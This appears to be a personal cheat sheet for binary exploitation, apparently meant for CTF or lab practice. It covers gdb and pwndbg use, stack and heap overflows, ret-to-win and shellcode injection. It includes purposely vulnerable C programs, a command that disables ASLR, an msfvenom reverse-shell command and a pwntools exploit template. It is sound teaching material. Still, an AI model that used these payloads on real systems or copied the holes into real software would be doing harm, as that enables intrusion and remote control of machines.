Binary Exploitation

Investigating Binaries

• strings {binary} to see strings in the binary
• See what file type it is: file {binary}
• Check the security: checksec {binary}
• Within gdb:
  • Function information: info functions
  • Register information: info registers
  • Variable information: info variables
  • See 64 number of bytes after a register or memory address: x/64x ${register} or x/64x {address}
    • Useful if we set a breakpoint on a memory address with b *{address}

Buffer Overflows

• Overflow a buffer and write to the stack B)
• Common vulnerable functions include strcpy, gets, sprintf, scanf, strcat
• Quick tip: use python2 to create large sequences of characters, as they won’t have extra Unicode attached
  • python2 -c "print 'A' * 100"

Creating a vulnerable test C file

• Disable ASLR as root with echo 0 > /proc/sys/kernel/randomize_va_space
• Then compile the below with gcc bof.c -o bof64 -fno-stack-protector -z execstack -m64 (we’ll need gcc-multilib installed)

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bowfunc(char *string) {

	char buffer[1024];
	strcpy(buffer, string);
	return 1;
}

int main(int argc, char *argv[]) {

	bowfunc(argv[1]);
	printf("Done.\n");
	return 1;
}

Taking Control of the Return Instruction Pointer

• We want to return to a different location in the binary by overwriting rip/eip
• We can find the offset necessary with cyclic
  • pwndbg {binary}
  • cyclic {number_of_characters_to_crash}
  • run and pass the cyclic payload
    • pwndbg will show what’s being returned to, which will be something like 0x4012ac <main+132> ret <0x6167616161666161>
  • Pass that offset back into cyclic with cyclic -l {offset} to find the offset before the payload

Getting Shellcode Execution

• We can generate an easy reverse shell with msfvenom -p linux/x86/shell_reverse_tcp LHOST={ip} lport={port} --platform linux --arch x86 --format c --bad-chars "\x00\x09\x0a\x20"
  • We want to specify the characters that would mess up our shellcode execution
• We should also add a NOP (\x90) sled to ensure our code is hit
  • This will all have to fit within the space we have available on the stack before eip
• We’ll finally need a return address within our NOP sled to overwrite the return pointer with
  • We can run our test payload and check the addresses with x/2000xb $esp+550
  • We can then set the return pointer to the necessary value
    • For example, if an address we want to go to is 0xffffd03e, we’d add \x3e\xd0\xff\xff (little-endian) as our return instruction
• Thus, the final payload should be in the form of {buffer_space_minus_other_stuff} + {NOP_sled} + {shellcode} + {eip}

Ret-to-win

• We can then disas {desired function} to find the address of the function start and return
• Can then use python to craft a payload, in the form of {offset} + {desired_function_return} + {desired_function_start}
  • To get the bytes, use pwntools’ p64 like so: p64(0x401186), which returns it in the necessary format
  • python3 -c "import sys, struct; sys.stdout.buffer.write(b'A' * {} + b'\x27\x12\x40\x00\x00\x00\x00\x00' + b'\x86\x11\x40\x00\x00\x00\x00\x00')" | ./binary
• Can also use pwntools for automatic exploitation:

from pwn import *

# choose between local binary or remote service
# p = remote("{IP}", {port})
p = process("./{binary}")

payload = b'A' * {ret_offset}
payload += p64({ret_offset})
payload += p64({start_offset})
p.sendline(payload)
p.interactive()

Heap Overflow

• This is really similar to a buffer overflow, except we’re overwriting dynamically allocated variables
• For example, if we have two malloc’d strings and can scanf into the 2nd one, we can overwrite the first one pretty easily
  • The 2nd variable will be higher on the heap, so we just need to continue writing bytes to reach the 1st
• Example vulnerable code:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>


int main(void) {
        char* username = malloc(50); //note: glibc's ptmalloc will round the 50 bytes up to 64 for alignment
        char* password = malloc(50);

        strcpy(password, "fakepass");

        printf("Enter username: ");
        scanf("%s", username);

        printf("Hello, %s. Your password is %s.\n",username ,password );

        int result = strcmp(password,"truepass");
        if (result > 0) {
                printf("nice");
        }
        return 0;
}

Misc

• In ghidra, if we’re trying to find references of data (like a string), we can right click -> show references

2500 Character Cyclic payload for copy-paste

aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaajzaakbaakcaakdaakeaakfaakgaakhaakiaakjaakkaaklaakmaaknaakoaakpaakqaakraaksaaktaakuaakvaakwaakxaakyaakzaalbaalcaaldaaleaalfaalgaalhaaliaaljaalkaallaalmaalnaaloaalpaalqaalraalsaaltaaluaalvaalwaalxaalyaalzaambaamcaamdaameaamfaamgaamhaamiaamjaamkaamlaammaamnaamoaampaamqaamraamsaamtaamuaamvaamwaamxaamyaamzaanbaancaandaaneaanfaangaanhaaniaanjaankaanlaanmaannaanoaanpaanqaanraansaantaanuaanvaanwaanxaanyaanzaaobaaocaaodaaoeaaofaaogaaohaaoiaaojaaokaaolaaomaaonaaooaaopaaoqaaoraaosaaotaaouaaovaaowaaoxaaoyaaozaapbaapcaapdaapeaapfaapgaaphaapiaapjaapkaaplaapmaapnaapoaappaapqaapraapsaaptaapuaapvaapwaapxaapyaapzaaqbaaqcaaqdaaqeaaqfaaqgaaqhaaqiaaqjaaqkaaqlaaqmaaqnaaqoaaqpaaqqaaqraaqsaaqtaaquaaqvaaqwaaqxaaqyaaqzaarbaarcaardaareaarfaargaarhaariaarjaarkaarlaarmaarnaaroaarpaarqaarraarsaartaaruaarvaarwaarxaaryaarzaasbaascaasdaaseaasfaasgaashaasiaasjaaskaaslaasmaasnaasoaaspaasqaasraassaastaasuaasvaaswaasxaasyaaszaatbaatcaatdaateaatfaatgaathaatiaatjaatkaatlaatmaatnaatoaatpaatqaatraatsaattaatuaatvaatwaatxaatyaatzaaubaaucaaudaaueaaufaaugaauhaauiaaujaaukaaulaaumaaunaauoaaupaauqaauraausaautaauuaauvaauwaauxaauyaauzaavbaavcaavdaaveaavfaavgaavhaaviaavjaavkaavlaavmaavnaavoaavpaavqaavraavsaavtaavuaavvaavwaavxaavyaavzaawbaawcaawdaaweaawfaawgaawhaawiaawjaawkaawlaawmaawnaawoaawpaawqaawraawsaawtaawuaawvaawwaawxaawyaawzaaxbaaxcaaxdaaxeaaxfaaxgaaxhaaxiaaxjaaxkaaxlaaxmaaxnaaxoaaxpaaxqaaxraaxsaaxtaaxuaaxvaaxwaaxxaaxyaaxzaaybaaycaaydaayeaayfaaygaayhaayiaayjaaykaaylaaymaaynaayoaaypaayqaayraaysaaytaayuaayvaaywaayxaayyaay